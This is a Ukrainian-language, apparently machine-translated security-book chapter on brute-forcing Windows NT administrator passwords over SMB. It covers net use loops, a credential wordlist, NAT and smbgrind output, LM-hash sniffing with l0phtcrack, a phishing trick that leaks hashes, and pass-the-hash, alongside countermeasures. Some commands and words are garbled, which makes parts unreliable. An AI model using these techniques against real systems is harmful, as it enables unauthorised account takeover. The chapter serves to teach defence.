Administrator: у пошуках скарбів

Правило № 1, про яке не можна ніколи забувати при забезпеченні безпеці Windows NT, полягає в тому, що будь-який порушник абсолютно безпорадний, якщо він не володіє вдачами адміністратора. Як ми побачимо з подальшого обговорення. NT не підтримує (за умовчанням) видаленого виконання команд, а якщо і дозволяє це робити, то інтерактивно реєструватися можуть лише користувачі з групи адміністраторів. Це істотно звужує можливості видалених користувачів по нанесенню збитку. Тому зломщики, як голодні акули, що нишпорять в океанській пучині у пошуках жертви, докладають всі зусилля, щоб виявити облікові записи користувачів, що володіють правами адміністратора. Саме тому ми почнемо з розгляду деталей основного механізму отримання привілеїв адміністратора — підбору пароля.
Що, декілька несподівано? Ви думали, що ми вам розповімо про якийсь чудовий спосіб, за допомогою якого ви вмить поставите NT "на коліна"? Хоча існування такої "срібної кулі" теоретично можливо, її все ще ніхто не знайшов за всі гади існування операційної системи NT. Деякі з можливих підходів будуть розглянуті в кінці розділу. Проте, на жаль, вимушені вас засмутити — в тому, що стосується безпеки, справедливе стародавнє твердження: "Чим більше веши міняються, тим більше вони залишаються незмінними". Іншими словами, перш, ніж захищатися від яких-небудь екзотичних методів проникнення, необхідно за допомогою правильного вибраного пароля якнайкраще захистити обліковий запис Administrator.

Видалений підбір пароля

Якщо на видаленому комп'ютері запушена служба NETBIOS, з якою пов'язаний TCP-порт 139, то найефективнішим методом проникнення в систему NT є видалене підключення до виявленого раніше спільно використовуваному ресурсу і підбір пар реєстраційне ім'я/пароль до тих пір, поки одна з них не виявиться правильною.
Звичайно, для того, щоб процес підбору пароля виявився по-справжньому ефективним, необхідна наявність списку призначених для користувача імен. Раніше вже були розглянуті деякі з кращих методів пошуку облікових записів користувачів, включаючи анонімне підключення за допомогою команди net use, яка встановлює нульове з'єднання з досліджуваним вузлом. Для цих же цілей можна скористатися також утилітою Dumpacl/dumpsec від компанії Somarsoft Inc., а також утилітами sid2u=er/usar2sid Євгенія Рудного (Evgenii Rudnyi). Всі ці засоби обговорювалися в розділі 3. Виявивши реально існуючі облікові записи, можна істотно підвищити вірогідність успішного підбору пароля.
Знайти спільно використовуваний ресурс, який підходить для нападу, зазвичай не складає ніяких труднощів. З розділу 3 ви дізналися, що в системах, в яких TCP-порт 139 доступний для видаленого доступу, завжди присутній прихований спільно використовуваний ресурс IFCS, необхідний для взаємодії процесів. Крім того, в процесі підбору пароля практично завжди можна скористатися адміністративними ресурсами Admin$ і [%раздел-диска%]$ (наприклад, С$). Природно, можна також провести інвентаризацію спільно використовуваних ресурсів, як описувалося в розділі 3.
Маючи під рукою всі необхідні дані, порушник, що знаходиться в мережі підприємства, може просто відкрити вікно Network Neighborhood (якщо з цільовим комп'ютером NT є фізичне з'єднання) або ж скористатися засобом пошуку Find Computer і IP-адресом для пошуку комп'ютера, що знаходиться в зовнішній мережі, а потім клацнути двічі на піктограмі знайденого комп'ютера, як показано на приведених нижче ілюстраціях.

Підбір пароля можна також виконати з командного рядка за допомогою команди net use. Якщо замість пароля як її параметр вказати символ *, то видалений комп'ютер попросить ввести пароль, як показано в наступному прикладі.

С:\> net use \\192.168.202.44\ipc$ * /user:administrator
Type the password for \\192.168.202.44\ipc$:
The command completed successfully.

Обліковий запис, заданий за допомогою ключа /і:, виглядає декілька дивно. Нагадаємо, що в Nt/2000 облікові записи ідентифікуються з використанням ідентифікаторів захисту SID, що складаються з кортежів компьютер\учетная запис або домен\учетная запис. Якщо реєструватися як адміністратор не вдалося, спробуйте скористатися синтаксисом домен\учетная запис.

Якщо ви збираєтеся використовувати описувані прийоми для перевірки комп'ютерів в мережі вашої компанії (звичайно, з відома начальства), не забувайте про блокування облікових записів, яке може відбутися при спробах як ручного, так і автоматизованого підбору паролів. В результаті можна набудувати проти себе не тільки користувачів всієї компанії, які не зможуть протягом певного часу дістати доступ до своїх комп'ютерів, але і керівництво, яке навряд чи після такого інциденту заохочуватиме ваші ініціативи в області безпеки.

•  Користувачі завжди прагнуть вибрати якомога простішою пароль, зокрема, якщо це можливо, вважають за краще взагалі обходиться без пароля. По суті, найбільшим проломом в будь-якій мережі є порожній або просто підбираний пароль. Тому під час перевірки системи безпеки на це потрібно звертати найпильнішу увагу.
•  При виборі пароля користувачі хочуть, щоб його легко було запам'ятати, і використовують для цього призначене для користувача ім'я, своє ім'я або ж очевидні рядки виду "імя_пользователя", "' імя_компанії", "guest", "test", "admin" або "password". Поля коментарів (які можна побачити за допомогою такого утиліти інвентаризації, Dumpacl/dumpsec) обліковому запису — це теж добре відоме місце, в якому можна знайти підказки про пароль і навіть самі паролі.
•  Багато популярних програм функціонують в контексті спеціального призначеного для користувача облікового запису. Як правило, імена цих облікових записів широко відомі і, що ще гірше, зазвичай вони легко запам'ятовуються. Ідентифікація подібних широко відомих облікових записів під час інвентаризації може надати зломщикові дуже серйозний козир, що значно полегшує його завдання при підборі пароля.

Таблиця 5.1. Найбільш вірогідні комбінації "ім'я користувача/пароля"

Добре продумана стратегія підбору паролів, що враховує всі приведені вище рекомендації, дає на подив високий відсоток успіху. Проте техніка, яка хороша для хакера, що підбирає пароль ради розваги, навряд чи зацікавить вічно зайнятого адміністратора мережі, у якого і так вистачає турбот, щоб займатися ручним підбором паролів з метою контролю.
Автоматизований підбір паролів дуже легко виконати, реалізувавши єдиний цикл FOR з використанням стандартної команди NET USE системи NT. По-перше, створіть файл з іменами користувачів і паролями на основі найбільш вірогідних комбінацій, приведених в таблиці. 5.1 (або скориставшись власним переліком). Такий файл може мати приблизно наступний вигляд (для розділення значень можуть використовуватися будь-які символи-роздільники; в даному випадку — символи табуляції). Звернете увагу, що порожні паролі в правому стовпці не вказані.

[file: credentials.txt]
password username
password Administrator
admin Administrator
administrator Administrator
secret Administrator
і так далі . . .

C:\>for /f "tokens= l,2*"%i in(credentials.txt) do net use
\\target\\ipc$ %i /u:%j

D:\>for /l %i IN (1,1,254) DO nat -u
userlist.txt -p passlist.txt
"92.163.202.»! » nat_output.txt
[*]--- Checking host: 192.168.202.1
[*]--- Obtaining list of remote NETBIOS names
[*]--- Attempting to connect with Username:
'Administrator'password:
'ADMINISTRATOR'
[*]--- Attempting to connect with Username:
'Administrator'password:
'GUEST'
...
[*]--- CONNECTED: Username:
'ADMINISTRATOR' Password:
'PASSWORD'
[*]--- Attempting to access share:
\\*Smbserver\temp
[*]-—- WARNING: Able to access share:
\\*Sm3server\temp
[*]--- Checking write access in:
\\*Smbserver\temp
[*]--- WARNING: Directory is writeable:
\\*Sm3server\temp
[*]--- Attempting to exercise ..
bug on: \\*SMBSERVER\TEMP

D:\> smbgrind -i 100 -i 192.168.2.5
Host address: 192.168.2.5
Cracking host 192.168.2.5 (*SMBSERVER)
Parallel Grinders: 100
Percent complete: 0
Percent complete: 25
Percent complete: 50
Percent complete: 75
Percent complete: 99
Guessed: testuser Password: testuser
Percent complete: 100
Grinding, complete, guessed 1 accounts

Контрзаходи: захист від підбору пароля

Існує декілька захисних мерів, які можуть зробити неможливими або. принаймні, утруднити спроби підбору пароля. Перша з них допоможе в тих випадках, коли комп'ютер з системою NT. безпосередньо підключений до Internet, не повинен відповідати на запити про спільно використовувані ресурси Windows. Для цього потрібно заблокувати доступ до портів TCP і UDP з номерами 135-139 на прикордонному брандмауері або маршрутизаторі, а також заборонити прив'язку WINS Client (Tcp/ip) для будь-якого адаптера, підключеного до зовнішньої мережі, як показано на приведеній нижче ілюстрації.
Це дозволить заборонити використання портів NETBIOS відповідним мережевим адаптером. Для вузлів з двома мережевими адаптерами (dual-homed host) необхідно заборонити підтримку протоколу NETBIOS на адаптері, підключеному до Internet, і залишити її на мережевому адаптері внутрішньої мережі. щоб до сумісних ресурсів Windows могли звертатися легальні користувачі. (При відключенні підтримки NETBIOS з використанням цього методу, зовнішній порт залишається в режимі очікування, проте він не відповідатиме на запити.)

У системі Windows 2000 для заборони використання протоколу NETBIOS поверх Tcp/ip для кожного адаптера окремо можна використовувати спе.{и-:;ль ний призначений для користувача інтерфейс. Проте, як ви побачите з розділу 6, така можливість зовсім не є панацеєю, і відключення адаптерів від спільно використовуваних файлів і принтерів є набагато кращим способом.

Політика облікових записів

Одним з таких засобів є утиліта User Manager. Для завдання політики облікових записів виберіть в діалоговому вікні диспетчера користувачів команду Policies>account. У діалоговому вікні, що з'явилося, можна задати певну політику призначення паролів, наприклад встановити обмеження на мінімальну довжину пароля або зажадати, щоб паролі не повторювалися частіше за певну кількість разів. Крім того, в діалоговому вікні Account Policy можна встановити блокування відповідного облікового запису після заданої кількості невдалих спроб реєстрації. Диспетчер користувачів також дозволяє адміністраторам примусово відключати користувачів після завершення встановленої тривалості сеансу. Це дуже зручна можливість, що дозволяє "перекрити кисень" непрошеним нічним гостям.

Підкреслимо ще раз, що кожен, хто має намір спробувати "на міцність" паролі як за допомогою описаних в даному розділі методів ручного, так і автоматичного підбору, повинен пам'ятати про можливості блокування облікових записів.

Passfilt

Ще більший рівень захисту можна забезпечити за допомогою бібліотеки Passfilt, що динамічно підключається, входить до складу Service Pack 2. Для того, щоб вона була підключена до системи захисту, необхідно виконати процедуру, описану в статті Q161990 бази знань Microsoft Knowledge Base. Дана бібліотека дозволяє підтримувати жорстку політику вибору паролів, яка гарантує захист не тільки від злому, але і від ледачого користувача, що вибирає дуже простий пароль. Після установки бібліотеки Passfilt всі паролі повинні полягати не менше чим з шести символів, не можуть збігатися з іменами облікових записів або бути частиною повного імені користувача, а також повинні складатися з символів, які вибираються як мінімум з трьох наступних груп.

•  Букви англійського алфавіту у верхньому регістрі (А, в, з ..., Z)
•  Букви англійського алфавіту в нижньому регістрі (а, b, з ..., z)
•  Арабські цифри (0, 1, 2 ..., 9)
•  Символи, що немає алфавітно-цифровими (@, #, !, & і так далі)

Бібліотека Passfilt в системі Win 2000 встановлюється за умовчанням, проте залишається неактивною. Для того, щоб її активізувати, скористайтеся консоллю secpol.msc або gpedit.msc і активізуйте режим Passwords must meet complexity requirements, що відноситься до елементу консолі Security Configuration and Analysis\account Policies\password Policy.

Passprop

Ще одним важливим додатковим засобом, який входить до складу NT Resource Kit (NTRK) є утиліта Passprop, яка дозволяє застосувати до облікових записів домена NT дві наступні вимоги.

•  Паролі, вибирані користувачами, повинні обов'язково містити алфавітні символи як у верхньому, так і в нижньому регістрах або ж складатися з символів і цифр.
•  Друга вимога стосується облікового запису Administrator. Як ми вже говорили, цей обліковий запис є якнайкращим трофеєм удачливого зломщика, що є серйозною небезпекою для безпеки. На жаль, початковий вбудований обліковий запис Administrator (RID 500) в системі NT заблокувати не можна, що дозволяє зломщикам легко її ідентифікувати і нескінченно довго намагатися підібрати до неї пароль. Утиліта Passprop видаляє використовувані за умовчанням обмеження NT на блокування облікового запису адміністратора. (Обліковий запис Administrator можна завжди розблоковувати з локальної консолі сервера, що запобігає спробам спровокувати стан DOS.)

Аудит і реєстрація подій

Навіть якщо нікому і не вдасться проникнути у вашу мережу за допомогою підбору пароля, оскільки ви встановили бібліотеку Passfilt або скористалися утилітою Passprop, все одно має сенс відстежувати всі невдалі спроби реєстрації. Для цього виберіть команду Policies>audit в діалоговому вікні диспетчера користувачів. При цьому на екрані з'явиться діалогове вікно Audit Policy, представлене нижче.
Журнал безпеки (Security Log), заповнений подіями з ідентифікаторами 529 або 539 (Logon/logoff failure і Account Locked Out відповідно), свідчить про те, що система піддається спробі автоматизованого злому. У більшості випадку журнал дозволяє навіть встановити комп'ютер, з якого проводяться спроби злому. На мал. 5.1 показаний вміст журналу безпеки після численних невдалих спроб реєстрації, зроблених за допомогою утиліти NAT.
Ось докладні відомості про подію з ідентифікатором 539.
Природно, реєстрація подій нічого не коштує, якщо не виконується аналіз журналів. Аналізувати журнали уручну дуже утомливо. На щастя, утиліта Event Viewer дозволяє фільтрувати записи про події по даті, типу, джерелу, категорії, користувачеві, комп'ютеру і ідентифікатору події.

Мал. 5.1. Журнал безпеки із зареєстрованими невдалими спробами реєстрації в мережі, NAT, що виконувалися з використанням утиліти

Якщо для управління журналами і їх аналізу вам потрібна надійна утиліта командного рядка, що дозволяє автоматизувати її використання, звернете увагу на утиліту dumpel з пакету NTRK, Ntlast компанії Ntobjectives (за адресою http://www.ntobjectives.com можна знайти як безкоштовно поширювану, так і комерційну версію) або Dumpevt від компанії Somarsoft (безкоштовну версію утиліти можна знайти за адресою http://www.somarsoft.com).
Утиліта dumpel може обробляти журнал подій з видаленого сервера (за наявності відповідних дозволів) і фільтрувати до десяти ідентифікаторів подій одночасно. Наприклад, за допомогою dumpel можна витягувати невдалі спроби реєстрації на локальному комп'ютері (подія 529). Для цього в командному рядку потрібно ввести наступну команду. С:\> dumpel -і 529 -f seclog.txt -1 security -m Security -t
Утиліта Dumpevt дозволяє перетворити весь журнал безпеки у формат, придатний для імпорту в базу даних Access або SQL. Проте ця утиліта не надає засобів фільтрації подій.
Ntlast — це утиліта командного рядка Win32, який виконує пошук в локальних і видалених журналах записів про інтерактивні (interactive), видалені (remote) і невдалі (fail) спроби реєстрації. Крім того, з її допомогою можна знайти відповідні один одному пари подій реєстрації/завершення сеансу (logon/logoff) для заданого облікового запису. Комерційна версія утиліти Ntlast дозволяє також витягувати записи про невдалі спроби використання пароля для діставання доступу до сервера IIS.

Виявлення вторгнень в реальному часі

Після застосування засобів аналізу журналів наступним етапом є реалізація механізму сповіщення про можливі порушення в реальному часі. Кількість програмних продуктів з так званої категорії систем виявлення вторгнень швидко зростає, особливо для використання на платформі NT. Системи виявлення вторгнень, призначені для використання на комп'ютерах під управлінням системи NT, представлені в таблиці. 5.2.
Функціональні можливості цих продуктів варіюються в широкому діапазоні, від простих засобів аналізу журналів, генерації сповіщень (KSM) і моніторингу спроб злому на рівні мережевого протоколу (Realsecure) до повноцінних систем виявлення вторгнень на рівні вузла (Centrax). Отже при виборі тієї або іншої системи уважно ознайомтеся з переліком її можливостей і з'ясуєте, чи зможе вона вирішувати завдання, що покладаються на неї.

Таблиця 5.2. Деякі системи виявлення вторгнень для систем Nt/2000

На жаль, обговорення питань, пов'язаних з виявленням вторгнень, виходить за рамки даної кн7іги. Можемо лише підкреслити, що адміністратори мережі, стурбовані питаннями забезпечення безпеки, повинні приділяти цій технології найпильнішу увагу — що може бути важливіше, ніж сигнал, що вчасно поступив, про виниклу в мережі проблему? Докладніша інформація про виявлення вторгнень, у тому числі і порівняльні характеристики кращих програмних продуктів цієї категорії, в даний час міститься в статті http://www.infoworld.com/cgi-bin/displayTC.pl7980504comp.htm.
Підбір пароля — це нелегке завдання. Чом би просто не перехопити цінну інформацію при реєстрації користувачів на сервері, а потім використовувати її на свій розсуд? У тих окремих випадках, коли зломщикові вдається перехопити обмін реєстраційними даними, такий підхід дозволяє заощадити значну частину зусиль, які потрібні в процесі підбору пароля. Для цього підійдуть
багато з вже розглянутих утиліт, проте можна скористатися і іншим засобом, спеціально призначеним для цих цілей. З такою утилітою ви вже добре знайомі: l0phtcrack, яку можна знайти за адресою http: //www.10pht.com.

Перехоплення паролів, передаваних по мережі

Утиліта l0phtcrack призначена для підбору паролів NT, яка зазвичай використовується для автономного злому перехопленої бази даних паролів, тобто без з'єднання з сервером. Такий підхід дозволяє, по-перше, не турбуватися про можливе блокування облікових записів при спробах підбору пароля, а по-друге, організувати перебір скільки завгодно великої кількості варіантів. Отримання файлу паролів - досить нетривіальне завдання, тому це питання, а також методи використання утиліти l0phtcrack детальніше будуть розглянуті в розділі "Злом Паролів Nt".
У останніх версіях l0phtcrack є функція SMB Packet Capture, яка раніше була реалізована у вигляді окремої утиліти readsmb. З використанням цієї функції можна обійтися без перехоплення файлу паролів, а замість цього прослуховувати локальний сегмент мережі, перехопити запити на реєстрацію, якими обмінюються системи NT, а потім вибрати з них інформацію про зашифровані паролі. Потім виконується алгоритм розшифровки, зворотний тому, який використовується при шифруванні паролів в системі NT (цей процес і називається зломом — cracking). На мал. 5.2 показаний приклад використання функції SMP Packet Capture для перехоплення паролів, що пересилаються по мережі, для їх подальшого злому самою утилітою l0phtcrack.
Деякі читачі можуть здивовано вигукнути: ''подождіте. Хіба в NT не реалізований принцип аутентифікації за запитом?" Це дійсно так. В процесі аутентифікації клієнти отримують випадковий запит від сервера, який кодується за допомогою хэш-кода пароля користувача як ключ і в зашифрованому вигляді передається назад по мережі. Потім сервер зашифровує запит за допомогою своєї власної копії хэш-кода пароля користувача (узятою з SAM-файла) і порівнює його з набутого значення. Якщо значення збігаються, то процес реєстрації завершується успішно (докладніша інформація про процес аутентифікації міститься в розділі Q102716 бази знань). Значить, сам хэш-код пароля навіть не передається по мережі. Виникає питання: як у такому разі утиліта l0phtcrack може його зламати?
Дуже просто, шляхом підбору в лоб. Із заголовка пакету утиліта l0phtcrack отримує тільки сам запит і запит, закодований за допомогою хэш-кода пароля. Потім виконується кодування відомого значення запиту за допомогою випадкових рядків, що генеруються, і результат порівнюється з набутого зашифрованого значення запиту. Ця процедура повторюється до тих пір, поки не буде знайдений випадковий рядок, для якого результати виявляться ідентичними. Із-за недосконалості алгоритму обчислення хэш-кода LM (насправді цей хэш-код складається з трьох фрагментів, які можна атакувати незалежно один від одного), процес підбору займає значно менше часу, чим здається на перший погляд. Докладніша інформація про це міститься за адресою http: //www.10pht.com/10phtcrack/rant .html.
Ефективність утиліти l0phtcrack при її сумісному використанні з функцією SMP Packet Capture настільки висока, що будь-який, хто не пошкодує часу для спостереження за мережею, гарантовано зможе отримати статус адміністратора протягом декількох днів. Ви помічаєте, як невблаганно біжить час?
Навіть якщо ви вважаєте, що вашу мережу захистить комутована архітектура, не поспішаєте з виводами. Наприклад, зломщик може скористатися одним з методів соціальної інженерії, опис якого можна знайти у відповідях на питання (FAQ — Frequently Asked Questions), що часто ставляться, по використанню утиліти l0phtcrack (http://www.l0pht.com/l0phtcrack/faq.html).

Мал. 5.2. Функція SMP Packet Capture утиліти lophtcrack дозволяє перехоплювати що пересилаються по мережі NT запити на реєстрацію для їх подальшого злому за допомогою lophtcrack. У даному прикладі видно декілька систем, у яких значення NT Hash представлене нулями. Це означає, що дані системи працюють під управ-, - ленієм Win 9x, яка не підтримує алгоритму хешування NT

"Відправте вибраній жертві поштове повідомлення (неважливо, на особисту адресу або ж на загальну адресу компанії). У текст листа включите адресу URL у формі file:////ваш_компьютер/імя_совместно_ іспользуємого_ресурса/сообщеніє.html. Як тільки одержувач клацне на цьому URL, його хешированний пароль відразу ж буде відправлений вам для аутентифікації."

При знайомстві з технологіями, подібними до протоколу ARP (див. розділ 10), ви побачите, що комутовані мережі насправді не забезпечують надійний захист проти перехоплення паролів.

 Передача хэш-кода

Пів Ештон (Paul Ashton) висунув ідею модифікації SMB-клиента сервера Samba системи UNIX, що забезпечує сумісний доступ до файлів (http://www.saniba.org) з метою реалізації описаного вище прийому. Початковий документ Пола можна знайти в архівах хворіючи NT Bugtraq за адресою http://www.ntbugtraq.com. Нові версії програми smbclient для системи UNIX дозволяють реєструватися на клієнтських системах NT з використанням лише хэш-кода.
Технічні подробиці процесу передачі хэш-кода містяться в статті Гернана Очоа (Heman Ochoa) з компанії CORE-SDI. З цієї статті можна дізнатися, як підсистема LSASS (Local Security Authority Subsystem) зберігає інформацію про сеанси реєстрації і пов'язаних з ними даними облікових записів. Гернан показав, як безпосередньо відредагувати ці дані в оперативній пам'яті і змінити реєстраційну інформацію непомітно для користувача. Підтвердженням працездатності такого підходу може послужити мал. 5.3 (для забезпечення безпеки реальні імена були змінені).
Проте подібні підходи не набули широкого поширення, оскільки справитися з даним завданням можуть лише програмісти досить високої кваліфікації. Таким чином, ризик атаки, заснованої на відправці хэш-кода, невисокий.

Мал. 5.3. Програма, призначена для відправки хэш-кода

Контрзаходи: заборона аутентифікації в локальній мережі

У сервісному пакеті Service Pack 4.0 була додана підтримка нового параметра системного реєстру, покликаного заборонити вузлу NT виконувати аутентифікацію в локальній мережі (з використанням хэш-кодов LM). Для того, щоб скористатися цією можливістю, потрібно додати параметр Lmcompatibilitylevel із значенням Reg_dwcrd=4 до наступного ключа системного реєстру. Hkey_local_machine\system\currentcontrolset\lsa
Значення 4 забороняє контроллеру домена (DC — domain controller) приймати запити на аутентифікацію. Як пояснюється в статті Q147706 бази знань компанії Microsoft, значення 4 і 5 зарезервовані для контроллерів доменів.
На жаль, будь-які клієнти низького рівня не зможуть пройти аутентифікацію на контроллері домена, на якому встановлений пакет Service Pack 4 і виконані описані вище дії (наприклад, такими клієнтами є системи Windows 9x, Windows for Workgroups). Це пояснюється тим, що модернізована система аутентифікації такого контроллера виконуватиме аутентифікацію лише з використанням кеш-кода NT. Більш того, оскільки клієнти, що не використовують систему Windows NT, не можуть реалізувати обчислення хэш-кода NT, вони все одно відправлятимуть по мережі запити на аутентифікацію, що містять значення хэш-кодов LM. Це зведе нанівець всі зусилля, напрашгенниє на захист від перехоплення SMB-пакетов. Вивід напрошується сам собою: у складі домена не повинно бути клієнтських комп'ютерів, що працюють під управлінням старих версій Windows. Проте в більшості компаній, що використовують в мережі системи з різними версіями Windows, таке рішення навряд чи можна утілити в життя.

До появи сервісного пакету Sp4 не було можливості заборонити обробку хэш-кодов Lм на вузлі NT, використовуваних для аутентифікації. Як наслідок, такі вузли абсолютно не захищені від небезпеки перехоплення SMB-пакетов.

Використання підпису Sмв

Хоча повністю захиститися від атак з використанням хэш-кодов не можна, можна накласти деякі обмеження на видалену реєстрацію в системі Windows за допомогою підпису SMB (SMB signing). Така можливість з'явиться в системі NT, якщо на ній встановити сервісний пакет Sp3 або пізніший. Тут ми згадуємо цей механізм виключно для забезпечення повноти викладу. При використанні підпису SMB кожен пакет 8mb, передаваний правильно настроєними клієнтами і серверами NT, перевірятиметься із застосуванням криптографічних методів. Це дозволить запобігти вставці в потік даних реєстрації пакетів зломщика. Як і раніше, це рішення годиться тільки для Windows NT, оскільки клієнти Win 9x не підтримують описаний вище механізм. Крім того, як наголошується в статті Q161372 бази знань Microsoft, присвяченої режиму використання підпису SMB, активізація цього засобу спричиняє за собою зниження продуктивності на 10-15 %.